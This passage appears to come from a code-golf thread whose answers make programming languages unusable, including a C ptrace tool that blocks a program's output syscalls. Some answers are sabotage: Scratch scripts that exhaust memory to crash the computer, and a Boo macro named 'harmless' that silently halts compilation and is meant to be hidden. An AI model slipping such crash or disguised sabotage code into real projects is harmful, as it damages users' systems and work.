*top* of the file. (Or with a command-line switch to the compiler. I can't really prevent that one!) [Answer] # PostScript Yes, PostScript is a programming language. Moreover, it's a programming language where all language constructs are system-defined functions, which can be *redefined*... ``` /Magic 1000 dict def systemdict {pop Magic exch {} put} forall Magic begin ``` In English: * Create an empty 1,000-element dictionary and name it `Magic`. * For every key in `systemdict`, add the same key to `Magic`, with an empty definition ("`{}`"). * Push `Magic` onto the top of the dictionary stack. From this moment on, every PostScript language command is defined to do nothing. AFAIK, it is *impossible* to escape from this condition. (Technically, you're not "destroying" the old definitions, you're just shadowing them. If you could still execute `end`, that would pop `Magic` off the dictionary stack, un-shadowing all the commands and giving you your life back. But since `end` itself is also shadowed... it will do nothing now.) Note that all commands will still *execute*... it's just that now they are defined to do nothing. You won't get any kind of error, it's just that nothing will happen. (Well, I suppose stack overflow will happen *eventually*...) [Answer] # Any program executing under Linux/x86(-64) This program is *written* in C, but it can disrupt execution of any program running under Linux/x86 (-32 or -64). You prepend it to the command-line invocation of the program you want to disrupt. It uses the debugger API to prevent the target program from producing any output. Specifically, all of the system calls that can communicate something to the world outside the process (most obviously `write`, of course, but also `open` when creating a file, the bulk of the socket API, `kill` when applied to another process, ...) will fail as if they were unimplemented. `_exit` is allowed, but the exit code is overwritten with a zero. Unlike the previous edition of this answer, many programs can run nearly to completion under these conditions; it's just that all their work is wasted. For instance, if you do `./no-syscalls /bin/ls` (assuming GNU coreutils `ls`) it reads the whole directory and formats it, and then all the `write` calls to produce output fail. (Anything that needs to open a bidirectional communication channel, though, such as all X11 clients, will fail at that point. I thought about allowing `socket` but not `send`, but it seemed too likely to open loopholes.) There are several command-line options to tweak the behavior; ``` -a log allowed system calls -d log denied system calls -e deny everything, not just output -S permit writes to stderr ``` Dynamically linked programs will not even get out of the dynamic linker in `-e` mode. `-S` obviously opens a huge hole in the policy, but it can be entertaining to watch programs moan about nothing working, e.g. ``` $ ./no-syscalls -daeS /bin/ls syscall 59... syscall 59 = 0 syscall 12 (denied) = -38 syscall 21 (denied) = -38 syscall 9 (denied) = -38 syscall 20... /bin/ls: error while loading shared libraries: cannot create cache for search path: Cannot allocate memory syscall 20 = 107 syscall 231... Program exited, status = 0 ``` You have to read log output with `/usr/include/asm*/unistd.h` open in another window, because this is already quite long enough. Sadly, the debugger interfaces that this uses are only weakly consistent across Unix implementations, and are intrinsically CPU-specific. It would be relatively straightforward to port it to other CPU architectures (just add appropriate definitions of `SYSCALL_*_REG`), and it's probably *possible* to port it to any Unix that has [`ptrace`](http://linux.die.net/man/2/ptrace), but you might need to muck with the syscall whitelist extensively as well as dealing with divergences in `ptrace`. ``` #define _GNU_SOURCE 1 #include <stddef.h> #include <sys/types.h> #include <sys/mman.h> #include <sys/ptrace.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/user.h> #include <sys/wait.h> #include <errno.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #if defined __linux__ # define SYS_unimplemented -1L # if defined __i386__ # define SYSCALL_NUMBER_REG regs.orig_eax # define SYSCALL_ARG1_REG regs.ebx # define SYSCALL_ARG2_REG regs.ecx # define SYSCALL_ARG3_REG regs.edx # define SYSCALL_ARG4_REG regs.esi # define SYSCALL_RESULT_REG regs.eax # elif defined __x86_64__ # define SYSCALL_NUMBER_REG regs.orig_rax # define SYSCALL_ARG1_REG regs.rdi # define SYSCALL_ARG2_REG regs.rsi # define SYSCALL_ARG3_REG regs.rdx # define SYSCALL_ARG4_REG regs.r10 # define SYSCALL_RESULT_REG regs.rax # else # error "Need to know system call convention for this CPU" # endif #else # error "Need to know system call convention for this OS" #endif static long xptrace(int request, pid_t pid, void *addr, void *data) { errno = 0; long rv = ptrace(request, pid, addr, data); if (rv == -1 && errno) { perror("ptrace"); if (pid != 0) kill(pid, SIGKILL); exit(1); } return rv; } #define GET_REG_(pid, x) \ xptrace(PTRACE_PEEKUSER, pid, (void*)offsetof(struct user, x), 0) #define GET_REG(pid, x) GET_REG_(pid, SYSCALL_##x##_REG) #define SET_REG_(pid, x, v) \ xptrace(PTRACE_POKEUSER, pid, (void*)offsetof(struct user, x), (void*)v) #define SET_REG(pid, x, v) SET_REG_(pid, SYSCALL_##x##_REG, v) /* This function defines the system-call policy. */ static int deny_syscall(pid_t pid, int scnum, int deny_all, int allow_stderr) { switch (scnum) { /* These syscalls are unconditionally allowed (when not in -e mode); they perform input, or change only process-local state. */ #ifdef SYS_access case SYS_access: #endif #ifdef SYS_alarm case SYS_alarm: #endif #ifdef SYS_arch_prctl case SYS_arch_prctl: #endif #ifdef SYS_brk case SYS_brk: #endif #ifdef SYS_capget case SYS_capget: #endif #ifdef SYS_clock_getres case SYS_clock_getres: #endif #ifdef SYS_clock_gettime case SYS_clock_gettime: #endif #ifdef SYS_clock_nanosleep case SYS_clock_nanosleep: #endif #ifdef SYS_close case SYS_close: #endif #ifdef SYS_dup case SYS_dup: #endif #ifdef SYS_dup2 case SYS_dup2: #endif #ifdef SYS_dup3 case SYS_dup3: #endif #ifdef SYS_epoll_create case SYS_epoll_create: #endif #ifdef SYS_epoll_create1 case SYS_epoll_create1: #endif #ifdef SYS_epoll_ctl case SYS_epoll_ctl: #endif #ifdef SYS_epoll_ctl_old case SYS_epoll_ctl_old: #endif #ifdef SYS_epoll_pwait case SYS_epoll_pwait: #endif #ifdef SYS_epoll_wait case SYS_epoll_wait: #endif #ifdef SYS_epoll_wait_old case SYS_epoll_wait_old: #endif #ifdef SYS_eventfd case SYS_eventfd: #endif #ifdef SYS_eventfd2 case SYS_eventfd2: #endif #ifdef SYS_faccessat case SYS_faccessat: #endif #ifdef SYS_fadvise64 case SYS_fadvise64: #endif #ifdef SYS_fadvise64_64 case SYS_fadvise64_64: #endif #ifdef SYS_fanotify_init case SYS_fanotify_init: #endif #ifdef SYS_fanotify_mark case SYS_fanotify_mark: #endif #ifdef SYS_fgetxattr case SYS_fgetxattr: #endif #ifdef SYS_flistxattr case SYS_flistxattr: #endif #ifdef SYS_fstat case SYS_fstat: #endif #ifdef SYS_fstat64 case SYS_fstat64: #endif #ifdef SYS_fstatat64 case SYS_fstatat64: #endif #ifdef SYS_fstatfs case SYS_fstatfs: #endif #ifdef SYS_fstatfs64 case SYS_fstatfs64: #endif #ifdef SYS_ftime case SYS_ftime: #endif #ifdef SYS_futex case SYS_futex: #endif #ifdef SYS_getcpu case SYS_getcpu: #endif #ifdef SYS_getcwd case SYS_getcwd: #endif #ifdef SYS_getdents case SYS_getdents: #endif #ifdef SYS_getdents64 case SYS_getdents64: #endif #ifdef SYS_getegid case SYS_getegid: #endif #ifdef SYS_getegid32 case SYS_getegid32: #endif #ifdef SYS_geteuid case SYS_geteuid: #endif #ifdef SYS_geteuid32 case SYS_geteuid32: #endif #ifdef SYS_getgid case SYS_getgid: #endif #ifdef SYS_getgid32 case SYS_getgid32: #endif #ifdef SYS_getgroups case SYS_getgroups: #endif #ifdef SYS_getgroups32 case SYS_getgroups32: #endif #ifdef SYS_getitimer case SYS_getitimer: #endif #ifdef SYS_get_kernel_syms case SYS_get_kernel_syms: #endif #ifdef SYS_get_mempolicy case SYS_get_mempolicy: #endif #ifdef SYS_getpeername case SYS_getpeername: #endif #ifdef SYS_getpgid case SYS_getpgid: #endif #ifdef SYS_getpgrp case SYS_getpgrp: #endif #ifdef SYS_getpid case SYS_getpid: #endif #ifdef SYS_getpmsg case SYS_getpmsg: #endif #ifdef SYS_getppid case SYS_getppid: #endif #ifdef SYS_getpriority case SYS_getpriority: #endif #ifdef SYS_getrandom case SYS_getrandom: #endif #ifdef SYS_getresgid case SYS_getresgid: #endif #ifdef SYS_getresgid32 case SYS_getresgid32: #endif #ifdef SYS_getresuid case SYS_getresuid: #endif #ifdef SYS_getresuid32 case SYS_getresuid32: #endif #ifdef SYS_getrlimit case SYS_getrlimit: #endif #ifdef SYS_get_robust_list case SYS_get_robust_list: #endif #ifdef SYS_getrusage case SYS_getrusage: #endif #ifdef SYS_getsid case SYS_getsid: #endif #ifdef SYS_getsockname case SYS_getsockname: #endif #ifdef SYS_getsockopt case SYS_getsockopt: #endif #ifdef SYS_get_thread_area case SYS_get_thread_area: #endif #ifdef SYS_gettid case SYS_gettid: #endif #ifdef SYS_gettimeofday case SYS_gettimeofday: #endif #ifdef SYS_getuid case SYS_getuid: #endif #ifdef SYS_getuid32 case SYS_getuid32: #endif #ifdef SYS_getxattr case SYS_getxattr: #endif #ifdef SYS_inotify_add_watch case SYS_inotify_add_watch: #endif #ifdef SYS_inotify_init case SYS_inotify_init: #endif #ifdef SYS_inotify_init1 case SYS_inotify_init1: #endif #ifdef SYS_inotify_rm_watch case SYS_inotify_rm_watch: #endif #ifdef SYS_ioprio_get case SYS_ioprio_get: #endif #ifdef SYS_kcmp case SYS_kcmp: #endif #ifdef SYS_lgetxattr case SYS_lgetxattr: #endif #ifdef SYS_listxattr case SYS_listxattr: #endif #ifdef SYS_llistxattr case SYS_llistxattr: #endif #ifdef SYS_lookup_dcookie case SYS_lookup_dcookie: #endif #ifdef SYS_lseek case SYS_lseek: #endif #ifdef SYS_lstat case SYS_lstat: #endif #ifdef SYS_lstat64 case SYS_lstat64: #endif #ifdef SYS_madvise case SYS_madvise: #endif #ifdef SYS_mbind case SYS_mbind: #endif #ifdef SYS_mincore case SYS_mincore: #endif #ifdef SYS_mlock case SYS_mlock: #endif #ifdef SYS_mlockall case SYS_mlockall: #endif #ifdef SYS_mprotect case SYS_mprotect: #endif #ifdef SYS_mremap case SYS_mremap: #endif #ifdef SYS_munlock case SYS_munlock: #endif #ifdef SYS_munlockall case SYS_munlockall: #endif #ifdef SYS_munmap case SYS_munmap: #endif #ifdef SYS_name_to_handle_at case SYS_name_to_handle_at: #endif #ifdef SYS_nanosleep case SYS_nanosleep: #endif #ifdef SYS_newfstatat case SYS_newfstatat: #endif #ifdef SYS_nice case SYS_nice: #endif #ifdef SYS_oldfstat case SYS_oldfstat: #endif #ifdef SYS_oldlstat case SYS_oldlstat: #endif #ifdef SYS_oldolduname case SYS_oldolduname: #endif #ifdef SYS_oldstat case SYS_oldstat: #endif #ifdef SYS_olduname case SYS_olduname: #endif #ifdef SYS_pause case SYS_pause: #endif #ifdef SYS_perf_event_open case SYS_perf_event_open: #endif #ifdef SYS_personality case SYS_personality: #endif #ifdef SYS_pivot_root case SYS_pivot_root: #endif #ifdef SYS_poll case SYS_poll: #endif #ifdef SYS_ppoll case SYS_ppoll: #endif #ifdef SYS_prctl case SYS_prctl: #endif #ifdef SYS_pread64 case SYS_pread64: #endif #ifdef SYS_preadv case SYS_preadv: #endif #ifdef SYS_prlimit64 case SYS_prlimit64: #endif #ifdef SYS_pselect6 case SYS_pselect6: #endif #ifdef SYS_query_module case SYS_query_module: #endif #ifdef SYS_read case SYS_read: #endif #ifdef SYS_readahead case SYS_readahead: #endif #ifdef SYS_readdir case SYS_readdir: #endif #ifdef SYS_readlink case SYS_readlink: #endif #ifdef SYS_readlinkat case SYS_readlinkat: #endif #ifdef SYS_readv case SYS_readv: #endif #ifdef SYS_recvfrom case SYS_recvfrom: #endif #ifdef SYS_recvmmsg case SYS_recvmmsg: #endif #ifdef SYS_recvmsg case SYS_recvmsg: #endif #ifdef SYS_remap_file_pages case SYS_remap_file_pages: #endif #ifdef SYS_request_key case SYS_request_key: #endif #ifdef SYS_restart_syscall case SYS_restart_syscall: #endif #ifdef SYS_rt_sigaction case SYS_rt_sigaction: #endif #ifdef SYS_rt_sigpending case SYS_rt_sigpending: #endif #ifdef SYS_rt_sigprocmask case SYS_rt_sigprocmask: #endif #ifdef SYS_rt_sigreturn case SYS_rt_sigreturn: #endif #ifdef SYS_rt_sigsuspend case SYS_rt_sigsuspend: #endif #ifdef SYS_rt_sigtimedwait case SYS_rt_sigtimedwait: #endif #ifdef SYS_sched_getaffinity case SYS_sched_getaffinity: #endif #ifdef SYS_sched_getattr case SYS_sched_getattr: #endif #ifdef SYS_sched_getparam case SYS_sched_getparam: #endif #ifdef SYS_sched_get_priority_max case SYS_sched_get_priority_max: #endif #ifdef SYS_sched_get_priority_min case SYS_sched_get_priority_min: #endif #ifdef SYS_sched_getscheduler case SYS_sched_getscheduler: #endif #ifdef SYS_sched_rr_get_interval case SYS_sched_rr_get_interval: #endif #ifdef SYS_sched_setaffinity case SYS_sched_setaffinity: #endif #ifdef SYS_sched_setattr case SYS_sched_setattr: #endif #ifdef SYS_sched_setparam case SYS_sched_setparam: #endif #ifdef SYS_sched_setscheduler case SYS_sched_setscheduler: #endif #ifdef SYS_sched_yield case SYS_sched_yield: #endif #ifdef SYS_select case SYS_select: #endif #ifdef SYS_setfsgid case SYS_setfsgid: #endif #ifdef SYS_setfsgid32 case SYS_setfsgid32: #endif #ifdef SYS_setfsuid case SYS_setfsuid: #endif #ifdef SYS_setfsuid32 case SYS_setfsuid32: #endif #ifdef SYS_setgid case SYS_setgid: #endif #ifdef SYS_setgid32 case SYS_setgid32: #endif #ifdef SYS_setgroups case SYS_setgroups: #endif #ifdef SYS_setgroups32 case SYS_setgroups32: #endif #ifdef SYS_setitimer case SYS_setitimer: #endif #ifdef SYS_setns case SYS_setns: #endif #ifdef SYS_setpgid case SYS_setpgid: #endif #ifdef SYS_setpriority case SYS_setpriority: #endif #ifdef SYS_setregid case SYS_setregid: #endif #ifdef SYS_setregid32 case SYS_setregid32: #endif #ifdef SYS_setresgid case SYS_setresgid: #endif #ifdef SYS_setresgid32 case SYS_setresgid32: #endif #ifdef SYS_setresuid case SYS_setresuid: #endif #ifdef SYS_setresuid32 case SYS_setresuid32: #endif #ifdef SYS_setreuid case SYS_setreuid: #endif #ifdef SYS_setreuid32 case SYS_setreuid32: #endif #ifdef SYS_setrlimit case SYS_setrlimit: #endif #ifdef SYS_set_robust_list case SYS_set_robust_list: #endif #ifdef SYS_setsid case SYS_setsid: #endif #ifdef SYS_set_thread_area case SYS_set_thread_area: #endif #ifdef SYS_set_tid_address case SYS_set_tid_address: #endif #ifdef SYS_setuid case SYS_setuid: #endif #ifdef SYS_setuid32 case SYS_setuid32: #endif #ifdef SYS_sigaction case SYS_sigaction: #endif #ifdef SYS_sigaltstack case SYS_sigaltstack: #endif #ifdef SYS_signal case SYS_signal: #endif #ifdef SYS_signalfd case SYS_signalfd: #endif #ifdef SYS_signalfd4 case SYS_signalfd4: #endif #ifdef SYS_sigpending case SYS_sigpending: #endif #ifdef SYS_sigprocmask case SYS_sigprocmask: #endif #ifdef SYS_sigreturn case SYS_sigreturn: #endif #ifdef SYS_sigsuspend case SYS_sigsuspend: #endif #ifdef SYS_socketpair case SYS_socketpair: #endif #ifdef SYS_stat case SYS_stat: #endif #ifdef SYS_stat64 case SYS_stat64: #endif #ifdef SYS_statfs case SYS_statfs: #endif #ifdef SYS_statfs64 case SYS_statfs64: #endif #ifdef SYS_sysfs case SYS_sysfs: #endif #ifdef SYS_sysinfo case SYS_sysinfo: #endif #ifdef SYS_time case SYS_time: #endif #ifdef SYS_timer_create case SYS_timer_create: #endif #ifdef SYS_timer_delete case SYS_timer_delete: #endif #ifdef SYS_timerfd_create case SYS_timerfd_create: #endif #ifdef SYS_timerfd_gettime case SYS_timerfd_gettime: #endif #ifdef SYS_timerfd_settime case SYS_timerfd_settime: #endif #ifdef SYS_timer_getoverrun case SYS_timer_getoverrun: #endif #ifdef SYS_timer_gettime case SYS_timer_gettime: #endif #ifdef SYS_timer_settime case SYS_timer_settime: #endif #ifdef SYS_times case SYS_times: #endif #ifdef SYS_ugetrlimit case SYS_ugetrlimit: #endif #ifdef SYS_ulimit case SYS_ulimit: #endif #ifdef SYS_umask case SYS_umask: #endif #ifdef SYS_uname case SYS_uname: #endif #ifdef SYS_unshare case SYS_unshare: #endif #ifdef SYS_uselib case SYS_uselib: #endif #ifdef SYS_ustat case SYS_ustat: #endif #ifdef SYS_wait4 case SYS_wait4: #endif #ifdef SYS_waitid case SYS_waitid: #endif #ifdef SYS_waitpid case SYS_waitpid: #endif return deny_all; #ifdef SYS_exit case SYS_exit: #endif #ifdef SYS_exit_group case SYS_exit_group: #endif /* Special case: exiting is allowed, even in -e mode, but the exit status is forced to 0. */ SET_REG(pid, ARG1, 0); return 0; #ifdef SYS_fcntl case SYS_fcntl: #endif #ifdef SYS_fcntl64 case SYS_fcntl64: #endif /* Special case: fcntl is allowed, but only for the *FD and *FL operations. This is a compromise between not allowing it at all, which would break some interpreters, and trying to go through the dozens of extended ops and figure out which ones can affect global state. */ { int cmd = GET_REG(pid, ARG2); if (cmd == F_DUPFD || cmd == F_DUPFD_CLOEXEC || cmd == F_GETFD || cmd == F_SETFD || cmd == F_SETFL || cmd == F_GETFL) return deny_all; } return 1; #ifdef SYS_kill case SYS_kill: #endif #ifdef SYS_rt_sigqueueinfo case SYS_rt_sigqueueinfo: #endif #ifdef SYS_rt_tgsigqueueinfo case SYS_rt_tgsigqueueinfo: #endif #ifdef SYS_tkill case SYS_tkill: #endif #ifdef SYS_tgkill case SYS_tgkill: #endif /* Special case: kill is allowed if and only if directed to the calling process. */ { pid_t kpid = GET_REG(pid, ARG1); if (kpid == pid) return deny_all; } return 1; #ifdef SYS_mmap case SYS_mmap: #endif #ifdef SYS_mmap2 case SYS_mmap2: #endif /* Special case: mmap is allowed if it is private or read-only. */ { int prot = GET_REG(pid, ARG3); int flags = GET_REG(pid, ARG4); if ((flags & (MAP_SHARED|MAP_PRIVATE)) == MAP_PRIVATE) return deny_all; if (!(prot & PROT_WRITE)) return deny_all; } return 1; /* Special case: open() variants are allowed only if read-only and not creating. */ #ifdef SYS_open case SYS_open: #endif #ifdef SYS_openat case SYS_openat: #endif #ifdef SYS_open_by_handle_at case SYS_open_by_handle_at: #endif { int flags = ((scnum == SYS_open) ? GET_REG(pid, ARG2) : GET_REG(pid, ARG3)); if (!(flags & O_CREAT) && ((flags & O_ACCMODE) == O_RDONLY)) return deny_all; } return 1; #ifdef SYS_write case SYS_write: #endif #ifdef SYS_write64 case SYS_write64: #endif #ifdef SYS_writev case SYS_writev: #endif #ifdef SYS_pwrite case SYS_pwrite: #endif #ifdef SYS_pwrite64 case SYS_pwrite64: #endif #ifdef SYS_pwritev case SYS_pwritev: #endif /* Special case: optionally, the program is allowed to write to stderr. This opens a gaping hole in the policy, but it can be quite entertaining to watch programs moan about how nothing works. */ if (allow_stderr) { int fd = GET_REG(pid, ARG1); if (fd == 2) return 0; } return 1; default: /* All other system calls are unconditionally denied. */ return 1; } } static void usage(char *progname) { fprintf(stderr, "usage: %s [-adeS] program args...\n", progname); fputs("\t-a log allowed system calls\n" "\t-d log denied system calls\n" "\t-e deny everything, not just output\n" "\t-S permit writes to stderr\n", stderr); exit(2); } int main(int argc, char **argv) { pid_t pid; int status; int opt; long last_syscall = SYS_unimplemented; int last_allowed = 0; int after_execve = 0; int trace_active = 0; int allow_stderr = 0; int deny_all = 0; int log_allowed = 0; int log_denied = 0; while ((opt = getopt(argc, argv, "+adeS")) != -1) { switch (opt) { case 'a': log_allowed = 1; break; case 'd': log_denied = 1; break; case 'e': deny_all = 1; break; case 'S': allow_stderr = 1; break; default: usage(argv[0]); } } if (optind == argc) { usage(argv[0]); } setvbuf(stdout, 0, _IOLBF, 0); setvbuf(stderr, 0, _IOLBF, 0); pid = fork(); if (pid == -1) { perror("fork"); exit(1); } else if (pid == 0) { raise(SIGSTOP); /* synch with parent */ execvp(argv[optind], argv+optind); perror("execvp"); exit(1); } /* If we get here, we are the parent. */ for (;;) { pid_t rv = waitpid(pid, &status, WUNTRACED); if (rv != pid) { perror("waitpid"); kill(pid, SIGKILL); exit(1); } if (!WIFSTOPPED(status)) { if (WIFEXITED(status)) printf("Program exited, status = %d\n", WEXITSTATUS(status)); else if (WIFSIGNALED(status)) printf("Program killed by signal %d\n", WTERMSIG(status)); else { printf("Un-decodable status %04x\n", status); kill(pid, SIGKILL); /* just in case */ } exit(0); } if (WSTOPSIG(status) == SIGSTOP && !trace_active) { /* This is the raise(SIGSTOP) on the child side of the fork. */ trace_active = 1; xptrace(PTRACE_SEIZE, pid, 0, (void*)PTRACE_O_TRACESYSGOOD); xptrace(PTRACE_SYSCALL, pid, 0, 0); } else if (WSTOPSIG(status) == (SIGTRAP|0x80)) { if (last_syscall == SYS_unimplemented) { last_syscall = GET_REG(pid, NUMBER); /* The child process is allowed to execute normally until an execve() succeeds. */ if (after_execve && deny_syscall(pid, last_syscall, deny_all, allow_stderr)) { last_allowed = 0; SET_REG(pid, NUMBER, SYS_unimplemented); } else { last_allowed = 1; if (log_allowed) { /* Log this now, we may not get another chance. */ printf("syscall %ld...\n", last_syscall); } } } else { if (last_allowed ? log_allowed : log_denied) { long scret = GET_REG(pid, RESULT); printf("syscall %ld%s = %ld\n", last_syscall, last_allowed ? "" : " (denied)", scret); } if (last_allowed && (last_syscall == SYS_execve || last_syscall == SYS_execveat)) { long scret = GET_REG(pid, RESULT); if (scret == 0) after_execve = 1; } last_syscall = SYS_unimplemented; } xptrace(PTRACE_SYSCALL, pid, 0, 0); } else if (WSTOPSIG(status) == SIGTRAP) { /* Swallow all SIGTRAPs, they are probably spurious debug events. */ xptrace(PTRACE_SYSCALL, pid, 0, 0); } else { /* Allow all normal signals to proceed unmolested. */ if (log_allowed) { printf("process received signal %d\n", WSTOPSIG(status)); } xptrace(PTRACE_SYSCALL, pid, 0, (void*)(uintptr_t)WSTOPSIG(status)); } } } ``` [Answer] # TeX ``` \catcode`\\=10 ``` I'm not sure this will actually work, but in theory this should break `\` as escape character leaving you no way to fix it. Normally TeX can read and write files, now it can't write anything that depends on logic. Thus the language is now broken as defined by OP. **EDIT:** Other kill commands taken from the comments (although both might violate the code-must-be-executed rule): * `\def\fi{}\iffalse` by [smpl](https://codegolf.stackexchange.com/users/41496/smpl) creates an un-closable if branch * `\catcode13=9%` by [iwillnotexist idonotexist](https://codegolf.stackexchange.com/users/31286/iwillnotexist-idonotexist) creates a never-ending comment [Answer] # Scratch [![Break Scratch Image](https://i.stack.imgur.com/U159n.png)](https://i.stack.imgur.com/U159n.png) The `when [timer v] > (0)` will run as soon as the code is initialised, which if you're in the editor is before you even start the code. The `when I receive (join[][])` will cause an error to be thrown every time anything is broadcast, pausing code execution if you have Developer version of Flash. The `break` function will create clones, and trigger the broadcast error. Every single clone will last two seconds then delete itself, putting strain on the stack. And every clone will respond to the `when [timer v] > (0)`, running the `break` subroutine and resetting the timer, which causes the timer code to be run again. Also, each clone will respond to every broadcast error as well, meaning the number of errors per evaluation of `break` is the number of clones squared. Did I forget to mention that the `break` function has `run without screen refresh` checked, causing the editor to freeze, jolt and lag, as well as the grabbing and allocating memory. And maxing out the CPU. Any code added anywhere with this running will find itself unable to create clones (300 clone limit surpassed) as well as heating up and crashing the computer running it. And grabbing memory until there is no more to grab, leaving variables misbehaving. And, after there's too much lag to trigger the `when [timer v] > (0)` block, it'll still be running `break`. Thanks to @towerofnix for reminding me about the `when I receive` glitch I found a while back, and giving me the idea for `run without screen refresh`. If you liked this, here's the original: <https://codegolf.stackexchange.com/a/61357/43394> [Answer] # PHP I'm suprised that it actually works, but closing `STDOUT` and `STDERR` suppresses all output. To be sure that they will not be opened again, we open `/dev/null` three times to reassign the file descriptors 0, 1 and 2: ``` <?php fclose(STDIN); fclose(STDOUT); fclose(STDERR); fopen('/dev/null','r'); fopen('/dev/null','w'); fopen('/dev/null','w'); // insert program here ``` More on that: <https://stackoverflow.com/questions/937627/how-to-redirect-stdout-to-a-file-in-php> [Answer] ## Mathematica / Wolfram Language Mathematica is an interpreted language in which command names are symbols that can be manipulated by the programmer. You can't delete built-in operators, but you can overload them or otherwise modify their function. The following scrambles the "With" command, which is needed for assignment to variables even internally. This change prevents the kernel from holding arguments unevaluated until the assignment is complete, and it kills the language quite dead. ``` ClearAttributes["With", HoldAll] ``` If this command is run in an interactive session or within a block of code, Mathematica will not even be able add `1+1` (the resulting error message is about a page long so I won't include it here). [Answer] DOS batch (prior to Windows 95 I believe) ``` CTTY ``` Issued with no arguments, this disconnects the command line from the terminal. Any further attempts to read input or generate output don't do anything. In case you wanted to know how to use CTTY correctly: ``` MODE COM1,8600,8,N,1 CTTY COM1 ``` A slightly more powerful batch file could even answer the modem and connect whatever dialed in to CTTY. [Answer] # Common Lisp ``` (set-macro-character #\( (lambda (x y) ())) ``` I hope you didn't need those opening parentheses. This is a reader macro that tells the Lisp Reader to replace each instance of `(` with a call to `(lambda (x y) ())`, a function that takes two arguments and returns nothing. So, for example, it would read `(foo)` as `foo)`, interpret `foo` as a variable and then throw an unmatched parenthesis error on `0`. [Answer] # Scratch Here's a pretty simple example that will crash your browser (and, in theory, your computer): [![Instant crash](https://i.stack.imgur.com/FQX23.png)](https://i.stack.imgur.com/FQX23.png) I left this running for about twenty seconds, then lost 2.65 GB of memory to Scratch. Only a moment later and 5 GB were gone. I highly suggest you have a means to force quit either Adobe Flash or your web browser before running this! --- I *really* wanted to make a cool answer like the `clear(this)` JS one but sadly Scratch doesn't have any ways to do that. Feel free to update this post (or make your own) if you DO find another way to make Scratch unusable though! [Answer] # Thue ``` ::= ``` With a newline at the end The thue language relies on defining rulesets and a `::=` denotes the end of the ruleset. It is impossible to do **ANYTHING** in thue without defining rules that do it, so regardless of what you put after the `::=`, nothing can happen. Alternative answer ``` A::= B::= C::= D::= E::= F::= G::= H::= ``` (and so on for the every character in all of Unicode including those before the `A` character and non-printable characters). This requires the command-line option `-r`. [Answer] # [Befunge-96](https://tio.run/#befunge-96-mtfi) ``` '~h ``` The user's code can follow anywhere after this sequence, as long as these are the first three characters in the source. The `'` command (one-shot string mode) pushes the ASCII value of the `~` onto the stack (i.e. 126), and the `h` command then sets what is known as the *Holistic Delta* with that value. For those not familiar with Befunge-96, the *Holistic Delta* is an offset that is added to the value of every command byte that the interpreter encounters. Once the delta is set to 126, the only valid command that can be generated is `~` (character input), via a null byte in the source. Anything other than a null byte would translate to a value greater than 126, and none of those values would be valid Befunge commands. I think it's safe to say that this would make it ineligible to qualify as a programming language. [Answer] # MATLAB The following piece of code makes the environment completely unusable1: ``` builtin = @(varargin)false; clear = @(varargin)false; %// Insert code after this point ``` This overrides the [`builtin`](http://www.mathworks.com/help/matlab/ref/builtin.html) function and the [`clear`](http://www.mathworks.com/help/matlab/ref/clear.html) function with new anonymous function handles that simply return `false` every time you try and call these functions. The `builtin` function ensures that if there are any custom functions you write in MATLAB that are the same name as those that are built-in to MATLAB (things like `sum`, `max`, `min`, etc.), you are able to call these unambiguously instead of the overloaded functions. Similarly, `clear` gives you the ability to clear all variables that are currently declared so you can start anew. By removing these capabilities, there is no way that you can use MATLAB unless you restart the program. In MATLAB R2015a, I also get the following message: [![enter image description here](https://i.stack.imgur.com/mtDWr.png)](https://i.stack.imgur.com/mtDWr.png) The Workspace are the variables that are currently declared in the environment so that you can use them for later. This permanently disables the Workspace, so any variables you try and create will not be saved and hence no progress can be made when executing lines of code in MATLAB. 1: Credit goes to user [Dev-iL](https://stackoverflow.com/users/3372061/dev-il) who originally discovered the idea. [Answer] # /// ``` /\/// ``` The only operation in /// is repeated string substitution, like this: `/pattern/replacement/`. This code removes every `/`, that way you can't use repeated string substitution, so basically everything you write after that will get printed (except for `/`s). You can still use `\`s, but that won't help you much. [Answer] # [Boo](https://github.com/bamboo/boo/) ``` macro harmless: Context.Parameters.Pipeline.Clear() ``` And then, somewhere else in the project, ``` harmless ``` A simple macro with a harmless-sounding name, but an amazingly frustrating effect. The Boo compiler uses a multi-step pipeline that begins with parsing source into an AST and ends with code generation. (Generally. It can be reconfigured for various applications.) Every step in between performs various operations on the AST. Partway through is the macro expansion stage, in which macros are executed in the context of the compiler. Remember the bit in the last paragraph, about the pipeline being reconfigurable? If, during macro expansion, you invoke a macro that clears the pipeline, no error will be displayed to the user, but all steps after macro expansion (including code generation) are no longer there. So you end up with something that *looks* like a successful compilation--no error messages displayed--but for some reason there's no binary produced! Guaranteed to drive even the best troubleshooters up the wall, if you hide the macro and the invocation well. [Answer] # NGN/APL NGN/APL allows redefining primitives, so redefining (`←`) all primitive functions to `⊢` ("pass through": both `⊢3` and `2⊢3` gives `3`) makes the language completely useless: ``` ⍪←-←+←?←⍵←∊←⍴←~←↑←↓←⍳←○←*←⌈←⌊←⍕←⊂←⊃←∩←∪←⊥←⊤←|←<←≤←=←≥←>←≠←∨←∧←×←÷←⍒←⍋←⌽←⍉←⊖←⍟←⍱←⍲←!←⌹←⊣←⍎←⊢ ``` [Try it here.](http://ngn.github.io/apl/web/#code=%u236A%u2190-%u2190+%u2190%3F%u2190%u2375%u2190%u220A%u2190%u2374%u2190%7E%u2190%u2191%u2190%u2193%u2190%u2373%u2190%u25CB%u2190*%u2190%u2308%u2190%u230A%u2190%u2355%u2190%u2282%u2190%u2283%u2190%u2229%u2190%u222A%u2190%u22A5%u2190%u22A4%u2190%7C%u2190%3C%u2190%u2264%u2190%3D%u2190%u2265%u2190%3E%u2190%u2260%u2190%u2228%u2190%u2227%u2190%D7%u2190%F7%u2190%u2352%u2190%u234B%u2190%u233D%u2190%u2349%u2190%u2296%u2190%u235F%u2190%u2371%u2190%u2372%u2190%21%u2190%u2339%u2190%u22A3%u2190%u234E%u2190%u22A2%0A2+3) [Answer] # Ruby (29 characters) ``` class Object;def send;end;end ``` As 'send' is used internally whenever a method is called within Ruby, and since all objects inherit from the Object class. This should stop any method being run. *Fun Fact:* This is perfectly sound in theory. But it appears, for some reason, not to hobble the Ruby language. I have no idea why it's possible to run this code and then still use an open Ruby environment. [Answer] # Taxi, 2354 bytes. This little program simply runs the taxi in a large joyride through Townsburg, running out of gas. Any code you run after this will quickly error with `error: out of gas`. And even if you could reach a gas station, which I don't think is possible, you couldn't get any gas, as no money has been collected, since there are no passengers. ``` Go to Trunkers: west, 1st 